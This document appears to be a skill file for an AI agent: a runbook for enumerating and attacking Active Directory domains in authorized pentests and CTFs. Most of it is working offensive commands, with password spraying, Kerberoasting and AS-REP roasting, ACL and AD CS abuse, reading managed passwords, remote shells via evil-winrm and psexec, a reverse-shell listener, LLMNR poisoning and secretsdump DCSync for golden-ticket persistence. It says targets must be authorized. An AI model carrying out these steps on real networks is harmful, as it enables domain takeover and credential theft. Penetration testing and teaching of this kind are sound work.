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Active Directory enumeration and attack-path runbook for authorized pentesting and CTF. Use after recon spots a Domain Controller (Kerberos+LDAP+SMB) or when you hold domain credentials and need to map users, groups, shares, ACLs, delegation, AD CS, and privesc paths to Domain Admin. Triggers on "active directory", "domain controller", "I have domain creds", "kerberoast", "asreproast", "bloodhound", "ADCS / certipy", "dMSA / BadSuccessor", "DCSync", "secretsdump", "evil-winrm", "what can I do on this DC".

Base directory for this skill: .claude/skills/ad

Active Directory — enumeration & attack-path runbook

Methodology for mapping an AD domain and finding the path to Domain Admin on an authorized target. This is the judgment layer; the tools live in net-toolbox and run at the tunnel IP via ./roo shell <cmd>. Recon hands off here the moment it sees a DC profile (Kerberos 88 + LDAP 389 + SMB 445 together).

Scope guardrail (read first)

Authorized targets only — CTF boxes, lab ranges, signed-scope hosts. This skill enumerates and plans; it surfaces attack paths but the operator approves the actual privilege-gaining steps (kerberoast cracking, ADCS abuse, BadSuccessor, DCSync). Confirm scope before authenticating.

Footgun cheat-sheet (hard-won — read before you debug a tool)

These bite on hardened / Server 2025 DCs. The net-toolbox image already carries the fixes; you mostly need to pick the right auth.

• unsupported hash type MD4 — OpenSSL 3 dropped MD4, which NTLM key derivation needs. Already fixed image-wide (legacy provider via OPENSSL_CONF); if you ever see it, you're outside net-toolbox.
• KRB_AP_ERR_SKEW (clock skew) — the container clock ≠ the DC clock and Kerberos demands <5 min. Fix it once per shell with clocksync <dc-ip> — it puts the whole shell on the DC's clock (via a libfaketime preload roo shell sets up), so Kerberos tools "just work" with no per-command wrapper. This is the enabler for every Kerberos path (BadSuccessor, -k LDAP, S4U). clocksync --off reverts. (A container can't own a real clock — CLOCK_REALTIME isn't namespaced — so this emulates it without touching the host clock.)
• strongerAuthRequired on LDAP/389 + LDAPS/636 Connection reset — a DC that enforces LDAP signing and resets LDAPS defeats every ldap3-based tool, regardless of auth (the bundled ldap3 2.9.1 has no sealing support at all). Confirmed dead on such DCs: certipy (default), dacledit, badsuccessor.py, bloodhound-python/bloodhound-ce-python. Use a tool that seals (next two items).
• Confidentiality-required ops (read msDS-ManagedPassword, set/reset/create a password) need a sealed (encrypted) bind, not just signed — and LDAPS is dead here. The escape hatch is the OpenLDAP clients over SASL GSSAPI, which do sign+seal (SSF 256) over plain 389: ldapsearch/ldapmodify/ldapadd -Y GSSAPI -H ldap://<dc-fqdn> after krbconf <dc> + a TGT in KRB5CCNAME (snippet below). This is the only Linux path in the kit for confidential LDAP.
• Don't infer the environment from a failing tool. A tool error means "this tool failed", not "the box is hardened/patched". A stale or wrong-flag binary throws KDC/LDAP errors that look exactly like a defended DC — and a wrong "it's patched" call sends you down a fake alternate path. Before concluding the environment blocks a technique, prove the tool actually implements it (banner version + --help/-h), then re-test. The classic trap: a binary that silently ignores a flag it's too old to support and returns a generic KDC_ERR_*/LDAP error — it reads identically to a patched/hardened DC and sends you down a fake alternate path. Confirm the build supports the technique before blaming the box.
• Windows .NET tooling goes stale silently. GhostPack (Rubeus/Certify/Seatbelt) ships on main without tagging releases, so tag-tracking registries (incl. Forge via roo tools) serve year-old binaries that lack recent techniques. Pull a main/branch build (roo tools get … prefers it; or SharpCollection / compile) and verify the banner version on the box before trusting output. See wintools.
• Short-lived Kerberos tickets die mid-transfer, and SMB honors that. Service / S4U / dMSA tickets default to a short lifetime (~10–15 min); a ticket-backed transfer drops with STATUS_NETWORK_SESSION_EXPIRED once it ages out — SMB re-validates, it does not ride out the original session. For large loot (VM images, NTDS dumps) pull faster than the window or re-mint per chunk; don't assume a started download will finish.
• Consuming a ticket — switch clients, don't surgery the ccache. Kerberos clients differ in tolerance: python-gssapi tools (evil-winrm-py, certipy) are strict about realm case / ccache form, where tolerant ones (nxc -k --use-kcache, ruby evil-winrm -r <realm>) accept an impacket-converted ccache as-is. If one client rejects a valid ticket, try another client — don't hand-edit the ccache (uppercasing realms, etc.): that "fixes" the local lookup but breaks the KDC exchange (KDC reply did not match expectations) and burns time. Same rule as the sealing table below — use the tool that works, not the one you have to repair.

Prescriptive: reach for the tool that seals — don't debug the one that can't

Goal	✅ Use (seals over 389)	❌ Don't (ldap3, fails on hardened DCs)
LDAP enum / users / groups	nxc ldap …	raw ldapsearch -x simple bind
Read an object's DACL/ACEs	nxc ldap … -M daclread -o TARGET_DN=…	dacledit.py
dMSA / BadSuccessor audit	nxc ldap … -M badsuccessor	badsuccessor.py -action search
ADCS triage	certipy find -ldap-scheme ldap …	certipy find (defaults to LDAPS → reset)
Roasting	nxc ldap … --kerberoasting --asreproast	—
Read managed pw / set·reset·create password (confidential)	ldapsearch/ldapmodify/ldapadd -Y GSSAPI (SASL seal, SSF 256)	bloodyAD set password, changepasswd (sign-only → confidentiality error)
Full BloodHound graph	bhcollect <dc> <user> <pass> (rusthound-ce GSSAPI, seals)	bloodhound-python / nxc --bloodhound (ldap3 → can't seal here)

nxc prints signing:Enforced / channel binding:… so you know up front what the DC demands. The impacket native-LDAP examples (GetADUsers/GetUserSPNs) also seal and work; it's only the newer ldap3-based impacket examples that don't.

The Kerberos pattern (copy this)

./roo shell sh -c '
DC=<dc-ip>; REALM=<domain.fqdn>; USER=<user>; PASS=<pass>
clocksync $DC                                 # whole shell now on the DC clock — no skew
getTGT.py -dc-ip $DC "$REALM/$USER:$PASS"      # writes <user>.ccache in cwd (=/work)
export KRB5CCNAME=/work/$USER.ccache           # getTGT ignores KRB5CCNAME for *writing*; set it for readers
<kerberos-tool> -k -no-pass -dc-host DC01.$REALM -dc-ip $DC ...
'

clocksync <dc> reads the DC clock over SMB and shifts this shell to it (no per-command faketime needed). Add the DC's name to ./hosts (<ip> DC01.domain.fqdn domain.fqdn) so Kerberos can resolve the KDC. For a one-off you can still wrap a single command in faketime "<dc-time>" <tool>; clocksync just does it for the whole session.

Sealed (confidential) LDAP pattern — read managed pw / set passwords

For ops the DC only serves over a confidential connection (managed-password read, unicodePwd set/reset, creating a user with a password) when LDAPS is dead, use the OpenLDAP clients over SASL GSSAPI — they negotiate sign+seal (SSF 256). The image already carries the GSSAPI SASL mech + SASL_NOCANON on; krbconf sets rdns=false so the SPN is right.

./roo shell sh -c '
DC=<dc-ip>; D=<domain.fqdn>; USER=<user>; PASS=<pass>; FQDN=DC01.$D
krbconf $DC; clocksync $DC
getTGT.py -dc-ip $DC "$D/$USER:$PASS"; export KRB5CCNAME=/work/$USER.ccache
# read a managed password (gMSA/dMSA), sealed:
ldapsearch -Y GSSAPI -H ldap://$FQDN -o ldif-wrap=no -LLL \
  -b "<target-dn>" msDS-ManagedPassword
# set/create a password (unicodePwd, UTF-16LE+base64) — needs the same seal:
#   ldapadd -Y GSSAPI -H ldap://$FQDN -f user.ldif      (with unicodePwd:: <b64>)
'

-Y GSSAPI must target the DC by FQDN (ldap://DC01.$D), not IP — the SPN is ldap/<fqdn>. (Authz still applies: you only get a managed password if you're in its …GroupMSAMembership, and reset needs ForceChangePassword.)

Workflow

Recon's report + per-port facts feed phase 1. Work top-down; each phase's findings unlock the next. Stream high-value findings to the operator as they land (creds that validate, a writable share, an ESC, a BloodHound path).

1. Identify the domain (unauth)

./roo shell nxc smb <dc-ip>            # domain, FQDN, OS build, signing, SMBv1

Record NetBIOS domain, DNS domain (*.htb/corp), DC hostname, OS build. Add <ip> DC01.<domain> <domain> to ./hosts. Build 26100 = Server 2025 → flag BadSuccessor (dMSA) as a candidate up front. Note SMB signing (relay viability).

2. Unauth footholds (no creds yet)

• Null/guest: nxc smb <dc> -u '' -p '' and -u guest -p '' → shares, and --rid-brute to harvest a userlist even unauthenticated.
• User enum / AS-REP: build names from RID-brute or lookupsid.py, then GetNPUsers.py <realm>/ -no-pass -usersfile users.txt for accounts with pre-auth disabled (crackable AS-REP hashes, no creds needed).
• Anonymous LDAP: nxc ldap <dc> -u '' -p '' --query … (often denied on modern DCs, cheap to try).

3. Credentialed sweep (you hold a domain account)

The moment creds validate ([+] from nxc smb), run the standard sweep:

U=<user>; P='<pass>'; DC=<dc-ip>; D=<domain.fqdn>
./roo shell nxc smb  $DC -u $U -p $P --shares --users --pass-pol
./roo shell nxc smb  $DC -u $U -p $P -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=/work/loot
./roo shell nxc ldap $DC -u $U -p $P --kerberoasting kr.txt --asreproast ar.txt
./roo shell bloodyAD --host DC01.$D -d $D -u $U -p $P get writable   # ⭐ broad: every object you can write
./roo shell sh -c "cd /work && certipy find -u $U@$D -p '$P' -dc-ip $DC -ldap-scheme ldap -stdout -vulnerable"
# Full graph — try the (faster) collector, but it relies on the DC not forcing seal:
./roo shell bloodhound-ce-python -u $U -p $P -d $D -dc DC01.$D -ns $DC -c All --zip

• Spray every credential you hold before you crack anything. Password reuse is the cheapest lateral move in AD — the same password recurs across accounts, initial passwords get set in bulk, and a service account's password is often its own name or a shared deploy secret. The instant you hold any password, spray it across the full userlist (--users gives you the list), and spray every password you later crack/dump domain-wide:

  nxc smb $DC -u users.txt -p '<known-pass>' --continue-on-success   # one pass, every user
  nxc smb $DC -u users.txt -p users.txt --no-bruteforce             # username == password
  

  Check --pass-pol first: if a lockout threshold is set, spray one password per observation window, not a list (lockout = None ⇒ spray freely). This step comes before offline cracking — never spend hashcat time on a hash whose plaintext a free spray would hand you, and the moment a crack/roast yields a password, re-spray it everywhere before anything else.
• --shares reports tested READ/WRITE per share — trust it over a perms string (a drw-rw-rw- listing is not a write confirmation). Chase WRITE shares and any non-default share (backup dumps, dev drops, web roots).
• -M spider_plus writes to ~/.nxc by default — pass OUTPUT_FOLDER/ DOWNLOAD_FLAG (or rely on the persistent HOME) so loot lands on the host.
• BloodHound drops a CE zip — the single most valuable artifact. But on a signing-enforced + LDAPS-resetting DC the python collector can't seal and will fail (Kerberos fallback fails too — ldap3 limitation). When it does, don't rabbit-hole: get the specific ACLs you need with nxc -M daclread, and reach for rusthound-ce/SharpHound for the full graph.
• Certipy — go straight to -ldap-scheme ldap (the default LDAPS resets here).
• Roasting writes hashes to /work; crack them on the host GPU with the hashcat skill — WL=$(./roo wordlist); ./roo hashcat -m 19700 kr.txt "$WL" (spray first — see the rule above — and let the operator approve the crack).

4. Triage → attack paths

Two durable rules (the specific techniques below rotate; these don't):

1. Find your edges broadly first — don't pattern-match to this month's CVE. The graph + "what can I touch" surfaces the path whatever it happens to be:
   • bloodyAD --host DC01.$D -d $D -u $U -p $P get writable — every object you can write (sealing NTLM; works where ldap3 fails). One command typically reveals the whole privesc surface: OU CreateChild, DNS-zone writes, group memberships you can edit, user objects you control.
   • the BloodHound graph (when collectable) for the full path-to-DA.
2. Verify every precondition of a path before you claim it. A single enumeration hit (a module flag, one ACE) is a lead, not a confirmed path. Confirm the exact right (read the ACE), confirm the dependencies, ideally dry-run, then report it as the path. Over-claiming is the failure mode.

Common routes a writable/graph edge maps to (a menu, not a priority order — let the enumeration pick):

• Kerberoast / AS-REP → spray known creds at the target first (reuse is free); only then crack with the hashcat skill (roo hashcat) → new creds → re-spray domain-wide (loop to phase 3).
• Delegation — unconstrained / constrained / RBCD (findDelegation.py, rbcd.py).
• AD CS ESC1–16 — certipy find -ldap-scheme ldap -vulnerable → certipy req/auth.
• ACL abuse — GenericAll/WriteDACL/ForceChangePassword/AddSelf/write-membership on a user, group, GPO, or computer (bloodyAD set …, owneredit, rbcd).
• dMSA / BadSuccessor (Server 2025, build 26100) — a writable OU's CreateChild
  • a KDS root key. Audit nxc -M badsuccessor, confirm the ACE + key, then read runbooks/badsuccessor.md (the operational detail bites).
• DCSync — replication rights → secretsdump.py for the whole domain (endgame).

Keep box-specific findings (which ACE, which template, which OU) in the recon-results report — this runbook stays technique-agnostic on purpose.

Technique runbooks (deep-dives — read on demand)

The phase-4 menu above is the dispatcher; durable per-technique mechanics live in .claude/skills/ad/runbooks/ and are read only when that path is live, so this always-loaded skill stays lean. Cross-cutting judgment — the footgun cheat-sheet, the auth/sealing selector, the loopback rule — stays inline here, because it applies to every path.

Path is live	Read
dMSA on a Server 2025 DC (build 26100) — nxc -M badsuccessor flags a writable OU + KDS key	runbooks/badsuccessor.md

Add a runbook when a technique grows non-obvious operational detail (ADCS ESC chains, delegation/RBCD, DCSync edge cases are the likely next ones); keep this table and the phase-4 pointer in sync. Box-specific findings (which ACE, which template, which OU) stay in the recon-results report, never here.

5. Foothold & shells

Establish topology before you consume a ticket (loopback rule — read first). Know where you are executing relative to the target: the Linux toolbox (a remote attacker box over the VPN), a domain workstation, or the target host itself. It changes everything:

• If your foothold shell is on the target host (e.g. an interactive shell on the DC) and you inject a Kerberos ticket then access that same host by name (\\DC01\…, WinRM to DC01), it's loopback: Windows services it with your local token, silently ignoring the injected ticket. Symptom: the ticket sits in klist, but access is Access denied / 0x8009030e / "logon session does not exist". You can burn hours blaming the ticket/inheritance — it's the loopback.
• Fix: consume the ticket from a different machine. The toolbox is your remote box — mint the ticket on Windows, then drive nxc/smbclient/evil-winrm from roo shell over the VPN, where the DC evaluates the ticket's PAC for real. (Typical tell: an injected cifs service ticket is Access denied for a share when used on the DC, then reads fine the instant it's consumed from the toolbox.)

Bridge a Windows-minted ticket (Rubeus base64 / .kirbi) into the toolbox:

./roo shell sh -c '
DC=<dc-ip>; FQDN=DC01.<domain>; krbconf $DC; clocksync $DC
base64 -d ticket.b64 > /tmp/t.kirbi && ticketConverter.py /tmp/t.kirbi /tmp/t.ccache
export KRB5CCNAME=/tmp/t.ccache
nxc smb $FQDN -k --use-kcache --shares           # remote → PAC honored, no loopback
smbclient.py -k -no-pass -dc-ip $DC <domain>/<dmsa>\$@$FQDN   # then: use <share>; get <file>
'

./roo shell nxc winrm $DC -u $U -p $P          # Pwn3d! ⇒ this user can WinRM
./roo shell evil-winrm -i $DC -u $U -p $P      # interactive shell

nxc winrm answers "can this account get a shell" before you reach for evil-winrm. Exec vectors once privileged: psexec.py/wmiexec.py/smbexec.py (<realm>/<user>:<pass>@<dc>), or nxc … -x/-X. Add -k (+faketime) for Kerberos-only auth. Catch reverse shells in roo shell with rlwrap ncat -lvnp <port> at the tunnel IP (roo ip = LHOST).

6. Post-DA — collect

./roo shell secretsdump.py <realm>/<user>:'<pass>'@<dc>      # SAM/LSA/NTDS (DCSync)

With DA/replication, secretsdump dumps NTDS (every hash → golden ticket, full persistence). Then loot the previously-denied shares (backup/admin shares, dev drops) and the DPAPI/credential stores. Record every hash and internal IP as a pivot seed.

A backup share often holds a memory image (.vmem/.dmp) or VM snapshot of a privileged host — hand it to the memforensics skill (roo vol <image> creds) to pull SAM/LSA/cached creds out of RAM; recovered hashes loop back to the spray/ PTH flow above. (This can be the privesc — a member server's .vmem → local Administrator hash → PTH to the DC — not just post-DA collection.)

Tooling reference

Everything runs in net-toolbox at the tunnel IP via ./roo shell …:

Need	Tool
SMB/LDAP/WinRM/MSSQL sweep + modules	nxc {smb,ldap,winrm,mssql} …
What can I write? / LDAP read-write (sealed)	bloodyAD --host … get writable / get/set/add
Read an object's DACL (sealed)	nxc ldap … -M daclread -o TARGET_DN=…
Confidential read/write: managed pw, set/reset/create password	ldapsearch/ldapmodify/ldapadd -Y GSSAPI -H ldap://<fqdn> (SASL seal)
AD CS enum + abuse	certipy {find -ldap-scheme ldap|req|auth} …
Interactive WinRM	evil-winrm -i <t> -u U -p P (or evil-winrm-py … -k)
Kerberos tickets	getTGT.py / getST.py (+ faketime)
Roasting	nxc ldap --kerberoasting/--asreproast, GetUserSPNs.py, GetNPUsers.py
dMSA / BadSuccessor	audit nxc -M badsuccessor; exploit badsuccessor.py -action {add,modify}
Full BloodHound graph	bhcollect <dc> <user> <pass> (rusthound-ce, seals — hardened DCs) / bloodhound-ce-python (soft DCs); then roo bloodhound view <zip>
Kerberos realm setup	krbconf <dc> (writes /etc/krb5.conf for GSSAPI tools)
Delegation / ACL / RBCD	findDelegation.py, rbcd.py, owneredit.py (impacket-native seal OK)
Secrets / DCSync	secretsdump.py
Exec	psexec.py, wmiexec.py, smbexec.py, nxc -x
LLMNR/NBT-NS/mDNS poison + NetNTLM capture	roo responder (own verb, binds tun0; captures → recon-results/responder/, crack with the hashcat skill — relay is dead when SMB signing is enforced)
Ad-hoc clients	smbclient, ldapsearch, dig

Auth selector: password → NTLM (works now, MD4 fixed). Clock skew → clocksync <dc> then Kerberos -k. LDAP read/write an ldap3 tool refuses (strongerAuthRequired / LDAPS reset) → a tool that signs: nxc ldap, bloodyAD, impacket-native. Confidential op (managed pw / set password) → the only thing that seals: ldapsearch/ldapmodify -Y GSSAPI (after krbconf

• TGT).

Know a tool's reach before you declare it can't (discipline rule)

Most "this tool can't do X" conclusions on this kit are wrong — the capability is there, just not the flag you reached for. Before concluding a tool can't do something, enumerate it: nxc <proto> -L (modules), <tool> --help. And keep capability vs packaging separate — a tool can read the data even if one output mode fails (e.g. nxc's sealed connection reads every ACL/user/group here, while its --bloodhound zip export fails because that path uses ldap3 and can't seal — the data is collectable, the zip isn't).

The easily-forgotten reach of the workhorses:

• nxc ldap — flags: --users --groups --pass-pol --kerberoasting --asreproast --gmsa --dns-server; modules (nxc ldap -L): daclread, badsuccessor, maq, whoami, group-mem, pre2k, get-desc-users. nxc smb modules: spider_plus, gpp_password, gpp_autologin, enum_av, lsassy. All over the sealed connection — they work where ldap3 tools don't.
• bloodyAD (seals over 389) — the read/write workhorse: get writable, get children/object/membership/dnsDump, set owner/password, add user/ computer/groupMember/dMSA, remove. Reaches what ldap3 tools refuse here.
• certipy — find (force -ldap-scheme ldap), req, auth, relay, shadow.

So "collect the graph": nxc/bloodyAD already read the pieces over sealed LDAP, and a ready-to-ingest zip even on a seal-enforced DC is bhcollect <dc> <user> <pass> — it drives rusthound-ce's Kerberos/GSSAPI path (the one collector that seals over 389) plus the krb5/clock setup, then roo bloodhound view <zip>. The python collectors (bloodhound-python, nxc --bloodhound) can't seal and fail here; that's a tool limit, never "the data is uncollectable".

Loop, don't line: every new credential — cracked, dumped, or sprayed — gets sprayed domain-wide and fed back into the sweep; every new hash or hostname feeds back too. Generate the final map with ./roo report <dc-ip> once buckaroos + AD findings are on disk.